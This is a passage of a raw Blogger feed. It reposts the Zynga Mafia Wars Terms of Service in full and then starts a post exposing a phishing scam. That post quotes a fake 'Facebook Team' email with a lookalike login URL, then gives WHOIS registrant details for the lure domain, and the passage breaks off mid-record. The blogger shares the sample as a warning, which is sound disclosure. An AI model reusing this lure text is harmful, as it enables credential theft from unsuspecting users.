manners (now or hereafter known), throughout the universe and forever (including, without limitation, in connection with web sites, television programs, motion pictures, games, merchandising and advertising), without a royalty or payment of any kind to you. So, this means we can use your character and content however we want for as long as we choose. Any User Content submitted must be created ONLY by the person submitting it - you cannot submit someone else's work. &lt;/li&gt;&lt;li&gt; You understand that Zynga may supervise user forums and filter content sometimes, but that we don't have a duty to do this. You understand that bad people can use user forums and that user forums can be dangerous places if you do not use caution and good sense. You agree not to give out any personal information, including your password, your first and last name, your phone number, e-mail address, instant messenger screen name or other contact information and not to ask for personal information from other Mafia Wars players. Use common sense and follow the Mafia Wars rules! &lt;/li&gt;&lt;li&gt;If you cheat on any of our games, use any hacking scripting or editing programs in Mafia Wars, violate the Mafia Wars rules or break the law, we can freeze or terminate your account, or if appropriate, report you to the police. &lt;/li&gt;&lt;li&gt;You understand that all purchases of Mafia Wars favor points and/or any other virtual items sold on the Site are final and non-refundable, except, in our sole and absolute discretion, and are a limited game play license and not a cash account or equivalent. Once you buy favor points sold on the Site, you can't get your money back. Further, Zynga may terminate Mafia Wars accounts at any time, with or without notice, in its sole discretion, for any reason or no reason, including if it believes that you are under the age of 13. &lt;/li&gt;&lt;li&gt; Purchases of Mafia Wars favor points or other products or services made available via the Site by Zynga, Inc are subject to the Terms and Conditions of Sale which are incorporated herein by reference. &lt;/li&gt;&lt;li&gt; No one from Zynga will ever ask you for your password so do not EVER give it out. If someone does, please visit us at: &lt;a href="http://www.zynga.com/support" target="_BLANK" onclick="(new Image()).src = '/ajax/ct.php?app_id=10979261223&amp;amp;action_type=3&amp;amp;post_form_id=d9c92faf7aa61b505fbdae4700ba23ba&amp;amp;position=3&amp;amp;' + Math.random();return true;"&gt;http://www.zynga.com/support&lt;/a&gt;. &lt;/li&gt;&lt;li&gt;Mafia Wars moderators are experienced users who may be able to help you find your way around the game. However, Mafia Wars moderators are not employees or representatives of Zynga. Please use the same care in dealing with Mafia Wars moderators as you do with other users. If you have concerns about abuse in the game please visit our support site at: &lt;a href="http://www.zynga.com/support" target="_BLANK" onclick="(new Image()).src = '/ajax/ct.php?app_id=10979261223&amp;amp;action_type=3&amp;amp;post_form_id=d9c92faf7aa61b505fbdae4700ba23ba&amp;amp;position=3&amp;amp;' + Math.random();return true;"&gt;http://www.zynga.com/support&lt;/a&gt;. &lt;/li&gt;&lt;/ul&gt; &lt;p&gt; Following is the "Long Version" of the Zynga Game Network, Inc. Terms of Service: &lt;/p&gt; &lt;p&gt; PLEASE CAREFULLY READ THESE TERMS OF SERVICE BEFORE USING THIS SITE, AS USE OF THE SITE IS CONDITIONAL UPON ACCEPTANCE OF THESE TERMS OF SERVICE, WHICH AFFECT YOUR LEGAL RIGHTS AND OBLIGATIONS, INCLUDING MANDATORY CONSENT TO ARBITRATION OF DISPUTES. DO NOT USE THIS SITE IF YOU DO NOT AGREE. &lt;/p&gt; &lt;p&gt; &lt;strong&gt;Ownership of IP:&lt;/strong&gt; &lt;/p&gt; &lt;p&gt;Unless otherwise specified in writing on the Site, all materials that are part of the Site (including past, present and future versions), including, without limitation: graphics; layout; text; images; audio and/or video; designs; advertising copy; logos; domain names; trade names and marks; service marks and trade identities; any and all copyrightable material (including source and object code); the "look and feel" of the Site; the compilation, assembly and arrangement of the materials of the Site; and all other materials related to the Site (collectively, the "Site Materials") are owned, controlled or licensed by Zynga and are protected from unauthorized use, copying and dissemination by copyright, trademark, patent, publicity and other laws, rules, regulations and international treaties. Your ability to use the Site Materials is governed by these Terms of Service. The entire contents of the Service (including the Site Materials) are copyrighted as a collective work under the United States copyright laws and/or similar laws of other jurisdictions. Zynga owns a copyright in the selection, coordination, arrangement and enhancement of such content, as well as in the content original to Zynga. Third-party content providers own the copyright in content that is original to them. Mafia Wars and Zynga are trademarks and service marks of Zynga. All rights are reserved. All other trademarks and service marks appearing on the Service are the property of their respective owners, including, in some instances, Zynga. All rights are reserved. Use of any of our trademarks, service marks or names as "metatags" on other web sites is prohibited. You may not display our Service or content in frames or "in-line links" without express written permission from Zynga (visit &lt;a href="http://www.zynga.com/support" target="_BLANK" onclick="(new Image()).src = '/ajax/ct.php?app_id=10979261223&amp;amp;action_type=3&amp;amp;post_form_id=d9c92faf7aa61b505fbdae4700ba23ba&amp;amp;position=3&amp;amp;' + Math.random();return true;"&gt;http://www.zynga.com/support&lt;/a&gt; for requests). &lt;/p&gt; &lt;p&gt; You agree not to encumber, license, modify, publish, copy, sell, transfer, transmit or in any way exploit, any of the content of the Service (including the Site Materials other than your own User Content (defined below)), nor will you attempt to do so. You agree not to copy, redistribute, publish or otherwise exploit material which you download from the Service, except as expressly permitted herein, without the express prior written permission of Zynga and the owner of such Site Materials (from whom you are solely responsible for obtaining permission). You further agree and acknowledge that you shall not acquire any ownership rights (including any rights to license such material) by downloading material from the Service or by purchasing any virtual goods. You can display your personal Mafia Wars profile information on your own personal web pages for your noncommercial and personal use ONLY, as long as you write "Copyright Zynga Game Network, Inc. All Rights Reserved. Used With Permission" on EVERY page on which it appears and you link directly to www.zynga.com. &lt;/p&gt; &lt;p&gt; &lt;strong&gt;Purchases:&lt;/strong&gt; &lt;/p&gt; &lt;p&gt;Purchases of Mafia Wars favor points or any other virtual items sold on the Site are purchases of a limited non-transferable, revocable license. The license may be terminated immediately if your account is terminated for any reason, in Zynga's sole and absolute discretion, or if Zynga discontinues providing the Service. &lt;/p&gt; &lt;p&gt;You agree that all purchases of Mafia Wars favor points and any other virtual items sold on the Site are final. No refunds will be given, except at our sole and absolute discretion. You agree that all Mafia Wars favor points and other virtual items will be forfeited if your account is terminated for any reason, at Zynga's sole and absolute discretion, or if Zynga discontinues providing the services on the Site. You agree that the purchase of Mafia Wars favor points or any other virtual items sold on the Site is the purchase of a limited license to a subscription service and that you have no property interest in the Mafia Wars favor points or other virtual items. Mafia Wars favor points are not gift certificates. &lt;/p&gt; &lt;p&gt;A Mafia Wars "favor point" is a unit of game play that is purchased and can be redeemed for certain game play and virtual items that are used in game play. &lt;/p&gt; &lt;p&gt; &lt;strong&gt;Your Content:&lt;/strong&gt; &lt;/p&gt; &lt;p&gt;Zynga does not solicit submissions, creative materials, ideas or suggestions other than those Zynga specifically requests. Any communications or materials you transmit to Zynga by e-mail or otherwise including, without limitation, data, questions, comments, ideas, images, writings, music, sounds, audiovisual effects, artwork, design elements, graphics, suggestions, concepts, biographical information, notes or chat or message postings, will be treated as non-confidential and non-proprietary. The Site may invite you to participate in blogs, message boards, online forums and other functionality and may provide you with the opportunity to create, submit, post, display, transmit, perform, publish, distribute or broadcast content and materials to Zynga and/or to or via the Site, including, without limitation, text, writings, photographs, graphics, comments, suggestions or personally identifiable information or other material (collectively, excluding Site Materials not created by you, "User Content"). You agree that your User Content is wholly original with you and you exclusively own the rights to your User Content, including the right to grant all of the rights and licenses in these Terms of Service without Zynga incurring any third party obligations or liability arising out of its exercise of the rights thereto granted herein by you. &lt;/p&gt; &lt;p&gt;You grant to Zynga the unrestricted, unconditional, unlimited, worldwide, irrevocable, perpetual fully-paid and royalty-free right and license to host, use, copy, distribute, reproduce, disclose, sell, re-sell, sub-license, display, perform, transmit, publish, broadcast, modify, make derivative works from, retitle, reformat, translate, archive, store, cache or otherwise exploit in any manner whatsoever, all or any portion of your User Content and any Collaborative Content (defined below) to which you have contributed, for any purpose whatsoever, in any and all formats; on or through any and all media, software, formula or medium now known or hereafter known; and with any technology or devices now known or hereafter developed and to advertise, market and promote same. You further agree that Zynga is free to use any ideas, information, concepts, know-how or techniques contained in any User Content you send to the Site or Zynga, for any purposes whatsoever, including, without limitation, developing, producing, marketing and otherwise exploiting products and/or services using such User Content, and without remuneration of any kind. You further perpetually and irrevocably grant Zynga the unconditional right to use and exploit your name, persona and likeness included in any User Content and in connection with any User Content, without any obligations to you. You also grant to Zynga the right to sub-license and authorize others to exercise any of the rights granted to Zynga under these Terms of Service; and each such third party will be entitled to benefit from the rights and licenses granted to Zynga under these Terms of Service. Without limiting the generality of the foregoing, you authorize Zynga to publish your User Content in a searchable format that may be accessed by users of the Site and the Internet. Except as prohibited by law, you waive any rights of attribution and/or any so-called moral rights you may have in any User Content you submit, even if such User Content is altered or changed in a manner not agreeable to you. &lt;/p&gt; &lt;p&gt;Zynga has no obligation to monitor or enforce your intellectual property rights to your User Content but has the right to protect and enforce its and its licensees' licensed rights to your User Content, including, without limitation, by bringing and controlling actions in your name and on your behalf (at Zynga's cost and expense, to which you hereby consent and irrevocably appoint Zynga as your attorney-in-fact, with the power of substitution and delegations, which appointment is coupled with an interest). &lt;/p&gt; &lt;p&gt;You agree that your User Content will be treated as non-confidential and non-proprietary and will not be returned. You should also be aware that submissions of User Content may not be secure, and you should consider this before submitting any information to Zynga. &lt;/p&gt; &lt;p&gt; You acknowledge and agree that Zynga will not have any obligation to review, monitor, display, archive, maintain, accept or exploit any User Content. Zynga may delete, move, re-format, edit, alter, distort, remove or refuse to exploit User Content without notice to you and without liability; provided, however, that Zynga reserves the right to treat User Content and/or Collaborative Content (defined below) on the Site, or on certain portions of the Site, as content stored at the direction of users for which Zynga will not exercise editorial control except to enforce the rights of third parties and the Content Restrictions set forth below when violations are brought to Zynga's attention. Such User Content and/or Collaborative Content posted at your or other users' direction need not, however, be maintained on the Site by us for any period of time and you will not have the right, once posted, to access, archive, maintain or otherwise use such User Content and/or Collaborative Content on the Site. You also agree and understand that Zynga is not obligated to use User Content and/or Collaborative Content and that you will not receive any additional consideration or compensation for your User Content and/or Collaborative Content or for any exploitation thereof. &lt;/p&gt; &lt;p&gt;  &lt;strong&gt;Posting On Other Web Sites:&lt;/strong&gt; &lt;/p&gt; &lt;p&gt; You are granted a limited revocable license to post your own character and any other Site Materials that Zynga specifically gives you notice may be posted on other web sites, on your own personal web site or on a third party web site that permits posting of content at the direction of users provided that such third party web site (i) is not commercially competitive to Zynga, (ii) does not criticize or injure Zynga, (iii) does not obtain any rights to such content other than a non-exclusive license to post it at your direction, and (iv) does not charge for access to such content or associate products, services or advertising with such content, so long as the web site where the link resides, and all other locations to which such site links, comply with all applicable laws and do not in any way abuse, defame, stalk, threaten or violate the rights of privacy, publicity, intellectual property or other legal rights of others or, in any way, post, publish, distribute, disseminate or facilitate any inappropriate, infringing, defamatory, profane, indecent, obscene, illegal/unlawful or otherwise objectionable information, topic, name or other material (an Authorized Web Site). All of Zynga's rights and remedies are expressly reserved, and Zynga may revoke this limited license, in whole or in part, upon notice. &lt;/p&gt; &lt;p&gt;  &lt;strong&gt;Rules of Conduct:&lt;/strong&gt; &lt;/p&gt; &lt;p&gt; As a user of the Site, you agree that your User Content, and your conduct on the Site will not:  &lt;/p&gt; &lt;ul&gt;&lt;li&gt; include any offensive comments that are connected to race, national origin, gender, sexual preference or physical handicap; &lt;/li&gt;&lt;li&gt; include profanity or any obscene, indecent, pornographic, sexual or otherwise objectionable content or language; &lt;/li&gt;&lt;li&gt; defame, libel, ridicule, mock, disparage, threaten, harass, intimidate or abuse anyone; &lt;/li&gt;&lt;li&gt; promote violence or describe how to perform a violent act;  &lt;/li&gt;&lt;li&gt;violate the contractual, personal, intellectual property or other rights of any party, or promote or constitute illegal activity; &lt;/li&gt;&lt;li&gt; be in violation of the Mafia Wars rules (collectively "Content Restrictions"). &lt;/li&gt;&lt;/ul&gt; In addition, your activities on the Site and in connection with the Site Materials will not: &lt;ul&gt;&lt;li&gt;reveal any personal information about another individual, including another person's address, phone number, e-mail address, credit card number or any information that may be used to track, contact or impersonate that individual; &lt;/li&gt;&lt;li&gt; attempt to impersonate any other party; &lt;/li&gt;&lt;li&gt; trick, defraud or mislead other users; &lt;/li&gt;&lt;li&gt;engage in any commercial activities, including, without limitation, any attempt to raise money for anyone or advertise or promote a product, service, pyramid scheme or other multi-tiered marketing scheme; &lt;/li&gt;&lt;li&gt; disparage, tarnish, or otherwise harm, in Zynga's opinion, Zynga and/or the Site Materials; &lt;/li&gt;&lt;li&gt;violate these Terms of Service or any local, state, federal or international law, rule or regulation or any other requirements or restrictions posted by Zynga on the Site; &lt;/li&gt;&lt;li&gt;upload or transmit (or attempt to upload or to transmit) viruses, Trojan horses or other material that interferes with any party's uninterrupted use and enjoyment of the Site, the Site Materials, Collaborative Content or the User Content or modifies, impairs, disrupts, alters or interferes with the use, features, functions, operation or maintenance of the Site, the Site Materials, Collaborative Content or the User Content; &lt;/li&gt;&lt;li&gt; copy or adapt the object code of the Site's software, HTML, JavaScript or other code; &lt;/li&gt;&lt;li&gt;reverse engineer, decompile, reverse assemble, modify or attempt to discover any source code that the Site creates to generate its web pages or any software or other products or processes accessible through the Site; &lt;/li&gt;&lt;li&gt;upload or transmit (or attempt to upload or to transmit) any material that acts as a passive or active information collection or transmission mechanism, including, without limitation, clear graphics interchange formats ("gifs"), 1x1 pixels, web bugs, cookies or other similar devices (sometimes referred to as "spyware," "passive collection mechanisms" or "pcms"); &lt;/li&gt;&lt;li&gt;except as may be the result of standard search engine or Internet browser usage, use or launch any automated system, including, without limitation, any spider, robot (or "bot"), scraper or offline reader that accesses the Site or use or launch any unauthorized script; &lt;/li&gt;&lt;li&gt; cover or obscure any notice, banner or advertisement on the Site; &lt;/li&gt;&lt;li&gt; use tools which anonymize your internet protocol address (e.g. anonymous proxy) to access the site; and/or &lt;/li&gt;&lt;li&gt;interfere with or circumvent any security feature of the Site or any feature that restricts or enforces limitations on use of or access to the Site, the Site Materials, Collaborative Content or the User Content. &lt;/li&gt;&lt;/ul&gt; &lt;p&gt;Zynga uses certain monitoring and filtering of the Site to attempt to enforce these Terms of Service, including the Content Restrictions and the Mafia Wars rules. However, objectionable content and user behavior may be found to exist and always use caution and common sense when using the Internet, especially when giving out any personally identifying information about yourself or with respect to financial information or transactions. Zynga does not control or endorse the content, messages or information found in User Content portions of the Service or external sites that may be linked to or from Mafia Wars and, therefore, Zynga specifically disclaims any responsibility with regard thereto. Mafia Wars moderators are Service users like you, and not employees or representatives of Zynga, so caution and common sense should be used both in their presence and absence. Zynga reserves the right to terminate a user's access to the Mafia Wars service at any time, for any reason we deem necessary. &lt;/p&gt; &lt;p&gt; &lt;strong&gt;Disputes With Others:&lt;/strong&gt; &lt;/p&gt; &lt;p&gt;You are solely responsible for your interaction with others that you come in contact with through the Site. However, we reserve the right, but have no obligation, to monitor and/or manage disputes between you and other users of the Site. If you have a dispute with other users, you release the Zynga Parties (defined below) from claims, demands, and damages (actual and consequential) of every kind and nature, known and unknown, arising out of or in any way connected with such dispute. &lt;/p&gt; &lt;p&gt;   &lt;strong&gt;Additions and Changes:&lt;/strong&gt; &lt;/p&gt; &lt;p&gt; You agree to review these Terms of Use on at least a weekly basis to be aware of Changes (as defined herein). Zynga has the right, at any time, to: &lt;/p&gt; &lt;ul&gt;&lt;li&gt;add, change or discontinue the Site or Service, or any aspect or feature of the Site or Service, including, but not limited to, content, financial terms, availability and equipment needed for access or use; &lt;/li&gt;&lt;li&gt; impose, change or modify its terms and conditions applicable to your use of the Service, or any part thereof; and/or &lt;/li&gt;&lt;li&gt; impose, change or modify the terms and conditions of these Terms of Service ("Changes"). &lt;/li&gt;&lt;/ul&gt; &lt;p&gt;Any such Changes shall be effective immediately upon notice by posting the Changes on Zynga's Service or by any other method of notice Zynga deems appropriate. &lt;/p&gt; &lt;p&gt; Any use of the Service by you after notice of the Changes, constitutes acceptance by you of such Changes. &lt;/p&gt; &lt;p&gt;  &lt;strong&gt;Disclaimers; Limitations; and Waivers of Liability:&lt;/strong&gt; &lt;/p&gt; &lt;p&gt;YOU EXPRESSLY AGREE THAT USE OF THE SERVICES IS AT YOUR SOLE RISK AND IS PROVIDED ON AN "AS IS" BASIS WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, WARRANTIES OF TITLE OR IMPLIED WARRANTIES OF NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE (EXCEPT ONLY TO THE EXTENT PROHIBITED UNDER THE LAWS APPLICABLE TO TERMS OF SERVICE WITH ANY LEGALLY REQUIRED WARRANTY PERIOD TO THE SHORTER OF THIRTY DAYS FROM FIRST USE OR THE MINIMUM PERIOD REQUIRED). WITHOUT LIMITING THE FOREGOING, NEITHER ZYNGA NOR ITS AFFILIATES OR SUBSIDIARIES, OR ANY OF THEIR DIRECTORS, EMPLOYEES, AGENTS, ATTORNEYS, THIRD-PARTY CONTENT PROVIDERS, DISTRIBUTORS, LICENSEES OR LICENSORS (COLLECTIVELY, "ZYNGA PARTIES") WARRANT THAT THE SERVICES WILL BE UNINTERRUPTED OR ERROR-FREE. &lt;/p&gt; &lt;p&gt;ZYNGA MAY DISTRIBUTE CONTENT SUPPLIED BY THIRD PARTIES AND USERS OF THE SERVICES AND MAY PROVIDE LINKS TO EXTERNAL LOCATIONS OPERATED BY THIRD PARTIES. ALL COMMUNICATION EXPRESSED OR MADE AVAILABLE BY THIRD PARTIES WHATSOEVER, INCLUDING, WITHOUT LIMITATION, BY OTHER USERS, IS SOLELY MADE BY THE RESPECTIVE AUTHOR(S) OR DISTRIBUTOR(S), AND THE ZYNGA PARTIES DO NOT GUARANTEE THE ACCURACY, COMPLETENESS OR USEFULNESS THEREOF, OR ITS MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE; NOR DO THEY MAKE ANY GUARANTEE, ENDORSEMENT OR WARRANTY WITH RESPECT THERETO. YOU ACKNOWLEDGE THAT IT IS YOUR SOLE RESPONSIBILITY TO SEEK THE ADVICE OF PROFESSIONALS, AS APPROPRIATE, REGARDING THE EVALUATION OF ANY COMMUNICATION AND AGREE TO USE YOUR BEST JUDGMENT AND EXERCISE CAUTION WITH RESPECT TO ALL COMMUNICATION AND TRANSACTIONS. &lt;/p&gt; &lt;p&gt;TO THE FULLEST EXTENT PERMITTED BY LAW, THE DISCLAIMERS OF LIABILITY CONTAINED HEREIN APPLY TO ANY AND ALL DAMAGES OR INJURY WHATSOEVER CAUSED BY OR RELATED TO USE OF, OR INABILITY TO USE, THE SERVICES UNDER ANY CAUSE OR ACTION WHATSOEVER OF ANY JURISDICTION, INCLUDING, WITHOUT LIMITATION, ACTIONS FOR BREACH OF WARRANTY, BREACH OF CONTRACT OR TORT AND THAT THE ZYNGA PARTIES SHALL NOT BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES IN ANY WAY WHATSOEVER ARISING OUT OF THE USE OF, OR INABILITY TO USE, THE SERVICES. YOU FURTHER SPECIFICALLY ACKNOWLEDGE THAT THE ZYNGA PARTIES ARE NOT LIABLE, AND YOU AGREE NOT TO SEEK TO HOLD THE ZYNGA PARTIES LIABLE, FOR THE CONDUCT OF THIRD PARTIES, INCLUDING OTHER USERS OF THE SERVICES AND OPERATORS OF EXTERNAL SITES, AND THAT THE RISK OF THE SERVICES AND EXTERNAL SITES AND OF INJURY FROM THE FOREGOING RESTS ENTIRELY WITH YOU. &lt;/p&gt; &lt;p&gt;UNDER NO CIRCUMSTANCES WILL THE ZYNGA PARTIES BE LIABLE TO YOU FOR MORE THAN THE AMOUNT YOU HAVE PAID ZYNGA IN THE NINETY (90) DAYS IMMEDIATELY PRECEDING THE DATE ON WHICH YOU FIRST ASSERT ANY SUCH CLAIM. &lt;/p&gt; &lt;p&gt;  &lt;strong&gt;Monitoring/Blocking:&lt;/strong&gt; &lt;/p&gt; &lt;p&gt;You acknowledge that you do not rely on Zynga to monitor or edit the Service and that the Service may contain content which you find offensive, and you hereby waive any objections you might have with respect to viewing such content. Please bring any inappropriate content or user behavior to our attention at: &lt;a href="http://www.zynga.com/support" target="_BLANK" onclick="(new Image()).src = '/ajax/ct.php?app_id=10979261223&amp;amp;action_type=3&amp;amp;post_form_id=d9c92faf7aa61b505fbdae4700ba23ba&amp;amp;position=3&amp;amp;' + Math.random();return true;"&gt;http://www.zynga.com/support&lt;/a&gt;. &lt;/p&gt; &lt;p&gt;  &lt;strong&gt;External Locations / Linking:&lt;/strong&gt; &lt;/p&gt; &lt;p&gt; The Service may contain links to external locations (e.g., other web sites, etc.) and the ability to access external portions of the Internet. You agree that Zynga is not responsible for the availability of these external locations or the content thereon, including, without limitation, solicitations thereon or products or services made available thereby. You acknowledge that some external locations may contain materials or communications which are unedited, untrue, or illegal in some jurisdictions and may be offensive. You agree to access external locations at your own risk and not to permit minors to have access to inappropriate material. You agree that Zynga shall not be held responsible or liable, directly or indirectly, for any loss or damage caused or alleged to have been caused in any way whatsoever related to any such external location and you hereby irrevocably waive any and all claims related thereto against Zynga. Any concerns regarding any external location should be directed to its respective site administrator, systems operator or webmaster and submit a support ticket to &lt;a href="http://www.zynga.com/support" target="_BLANK" onclick="(new Image()).src = '/ajax/ct.php?app_id=10979261223&amp;amp;action_type=3&amp;amp;post_form_id=d9c92faf7aa61b505fbdae4700ba23ba&amp;amp;position=3&amp;amp;' + Math.random();return true;"&gt;http://www.zynga.com/support&lt;/a&gt;. &lt;/p&gt; &lt;p&gt; Zynga hereby grants you a non-exclusive, limited license, revocable at Zynga's discretion, for you to link to Zynga's home page from any Authorized Site. &lt;/p&gt; &lt;p&gt;  &lt;strong&gt;Indemnification:&lt;/strong&gt; &lt;/p&gt; &lt;p&gt;You agree to defend, indemnify and hold harmless the Zynga Parties from and against all claims and expenses, including attorneys' fees and costs, arising out of your use of the Service and/or your breach or alleged breach of any term, condition, obligation, representation or warranty in these Terms of Service. You agree that the provisions in this paragraph will survive any termination of your account(s) or the Service. &lt;/p&gt; &lt;p&gt;  &lt;strong&gt;Equipment:&lt;/strong&gt; &lt;/p&gt; &lt;p&gt;You agree to be responsible for obtaining and maintaining all telephone, computer hardware mobile devices and other equipment needed for access to and use of the Service, and you shall be responsible for all charges related thereto. &lt;/p&gt; &lt;p&gt;  &lt;strong&gt;Governing Law/Waiver of Injunctive Relief:&lt;/strong&gt; &lt;/p&gt; &lt;p&gt;This Agreement and all aspects of the Service shall be governed by and construed in accordance with the internal laws of the United States and the State of Delaware governing contracts entered into and to be fully performed in Delaware (i.e., without regard to conflict of legal provisions) regardless of your location. With respect to any disputes or claims not subject to arbitration (as set forth below), you agree not to commence or prosecute any action in connection therewith other than in the state and federal courts located in San Francisco County, California, and you hereby consent to, and waive all defenses of lack of personal jurisdiction and forum non conveniens with respect to, venue and jurisdiction in the state and federal courts located in San Francisco County, California. &lt;/p&gt; &lt;p&gt;You acknowledge that the rights granted and obligations made hereunder to Zynga are of a unique and irreplaceable nature, the loss of which shall irreparably harm Zynga and which cannot be replaced by monetary damages alone so that Zynga shall be entitled to injunctive or other equitably relief (without the obligations of posting any bond or surety) in the event of any breach or anticipatory breach by you. You irrevocably waive all rights to seek injunctive or other equitable relief and agree to limit your claims to claims for money damages (if any). You agree that any suit, action or proceeding arising out of or relating to these Terms of Service or any of the transactions contemplated herein or related to the Service or any contests or services thereon (including without limitation, statutory, equitable or tort claims) shall be resolved solely by binding arbitration before a sole arbitrator under the rules and regulations of the American Arbitration Association ("AAA"); provided, however, that notwithstanding the parties' decision to resolve any and all disputes arising under these Terms of Service through arbitration, Zynga may bring an action in any court of applicable jurisdiction to protect its intellectual property rights or to seek to obtain injunctive relief or other equitable from a court to enforce the provisions these Terms of Service or to enforce the decision of the arbitrator. The arbitration will be held in San Francisco, California. The arbitrator shall apply the substantive laws of the State of Delaware, shall issue a written decision, and shall have the power to award any legal remedies consistent with these Terms of Service except for punitive, exemplary or special damages. The parties will split the arbitrator's fee; provided, however, that if any court or arbitrator would find such requirement unconscionable or unenforceable, Zynga will have the option to pay all of such fees and proceed with arbitration. You agree that the provisions in this paragraph will survive any termination of your account(s) or the Service. &lt;/p&gt; &lt;p&gt;  &lt;strong&gt;Miscellaneous&lt;/strong&gt; &lt;/p&gt; &lt;p&gt;Zynga operates and controls the Site from its offices in the United States. Zynga makes no representation that the Site is appropriate or available in other locations. The information provided on the Site is not intended for distribution to or use by any person or entity in any jurisdiction or country where such distribution or use would be contrary to law or regulation or which would subject Zynga to any registration requirement within such jurisdiction or country. Accordingly, those persons who choose to access the Site from other locations do so on their own initiative and are solely responsible for compliance with local laws, if and to the extent local laws are applicable. Software from this Site may be subject to United States export controls. Thus, no software from this Site may be downloaded, exported or re-exported (a) into (or to a national or resident of) Cuba, Iraq, North Korea, Iran, Syria, or any other country to which the United States has embargoed goods; or (b) to anyone on the U.S. Treasury Department's list of Specially Designated Nationals or the U.S. Commerce Department's Table of Deny Orders. By downloading any software, you represent and warrant that you are not located in, under the control of, or a national or resident of, any such country or on any such list. The parties specifically disclaim application of the Convention on Contracts for the International Sale of Goods. These Terms of Service are effective until terminated by either party. Users may terminate these Terms of Service by destroying all Service-related materials (including without limitation, all related documentation and all copies and installations thereof, whether made under these Terms of Service or otherwise) obtained from the Service, Zynga or any other web site or source. The privileges granted to you under these Terms of Service will terminate immediately and automatically without notice from Zynga if, in our sole discretion, you fail to comply with any term or provision of these Terms of Service. Neither the course of conduct between the parties nor trade practice will act to modify these Terms of Service to any party at any time without any notice to you. These Terms of Service may not be assigned by you without Zynga's prior written consent. These Terms of Service contain the entire understanding of you and Zynga, and supersede all prior understandings of the parties hereto relating to the subject matter hereof, and cannot be changed or modified by you except as posted on the Site by Zynga. If any provision of these Terms of Service is found to be illegal or unenforceable, the Terms of Service will be deemed curtailed to the extent necessary to make it legal and enforceable and will remain, as modified, in full force and effect. No waiver by either party of any breach or default hereunder shall be deemed to be a waiver of any preceding or subsequent breach or default. The section headings used herein are for convenience only and shall not be given any legal import. Upon Zynga's request, you will furnish Zynga any documentation, substantiation or releases necessary to verify your compliance with these Terms of Service. You agree that these Terms of Service will not be construed against Zynga by virtue of having drafted them. You hereby waive any and all defenses you may have based on the electronic form of these Terms of Service and the lack of signing by the parties hereto to execute these Terms of Service. &lt;/p&gt; &lt;p&gt;  &lt;strong&gt;Complaints or Notices:&lt;/strong&gt; &lt;/p&gt; &lt;p&gt;Zynga takes claims of infringement of intellectual property rights, defamation and violation of rights of privacy or publicity very seriously and complies with the complaint procedures of the Digital Millennium Copyright Act. If you believe that any of the material that is or was on our Service infringes or has infringed any rights, including copyrights or trademarks, owned by you, or by an owner for which you are authorized to act, please refer to our Infringements. &lt;/p&gt; &lt;p&gt; For all other correspondence and complaints of a non-legal nature, please visit: &lt;a href="http://www.zynga.com/support" target="_BLANK" onclick="(new Image()).src = '/ajax/ct.php?app_id=10979261223&amp;amp;action_type=3&amp;amp;post_form_id=d9c92faf7aa61b505fbdae4700ba23ba&amp;amp;position=3&amp;amp;' + Math.random();return true;"&gt;http://www.zynga.com/support&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;MAFIA WARS and Zynga are trademarks of Zynga Game Network Inc.  All rights reserved.&lt;/strong&gt;   &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-1031740494258821772?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/1031740494258821772/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=1031740494258821772' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/1031740494258821772'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/1031740494258821772'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/11/is-zynga-about-to-pop-like-zit.html' title='Is Zynga About to Pop Like a Zit?'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-5871021572057040040</id><published>2009-11-05T09:28:00.002-08:00</published><updated>2009-11-05T09:38:06.190-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Facebook Lonarq Phishing'/><title type='text'>Niice-- Today's round of phishing.</title><content type='html'>&lt;span style="font-style: italic;"&gt;Dear Facebook user,&lt;br /&gt;&lt;br /&gt;In an effort to make your online experience safer and more enjoyable, Facebook will be implementing a new login system that will affect all Facebook users. These changes will offer new features and increased account security.&lt;br /&gt;Before you are able to use the new login system, you will be required to update your account.&lt;br /&gt;&lt;br /&gt;Please click on the link below to update your account online now:&lt;br /&gt;&lt;br /&gt;http://www.facebook.com.lonazq.eu/globaldirectory/LoginFacebook.php?ref=81254973979123800014826034530359910249472878514324218788112356825213378628792&amp;amp;email=[poor sucker's email address]&lt;br /&gt;&lt;br /&gt;If you have any questions, reference our New User Guide.&lt;br /&gt;&lt;br /&gt;Thanks,&lt;br /&gt;The Facebook Team&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;Name    lonazq&lt;br /&gt;Status  REGISTERED&lt;br /&gt;Registered  November 5, 2009&lt;br /&gt;Last update  November 5, 2009 4:09 PM&lt;br /&gt;Registrant&lt;br /&gt;Name  &lt;a href="mailto:verhost@scallet.be"&gt;Verhost, Philippe&lt;/a&gt;&lt;br /&gt;Organisation  Philippe Verhost&lt;br /&gt;Language  English&lt;br /&gt;Address  1-26 Scituate Place 03052 Merrimack Belgium&lt;br /&gt;Phone  +32.2955467410 (a cheap call with Skype!)&lt;br /&gt;Email  &lt;a href="mailto:verhost@scallet.be"&gt;verhost@scallet.be&lt;/a&gt;&lt;br /&gt;Registrant technical contacts&lt;br /&gt;Name  Technical, Webfusion&lt;br /&gt;Organisation  Webfusion Ltd&lt;br 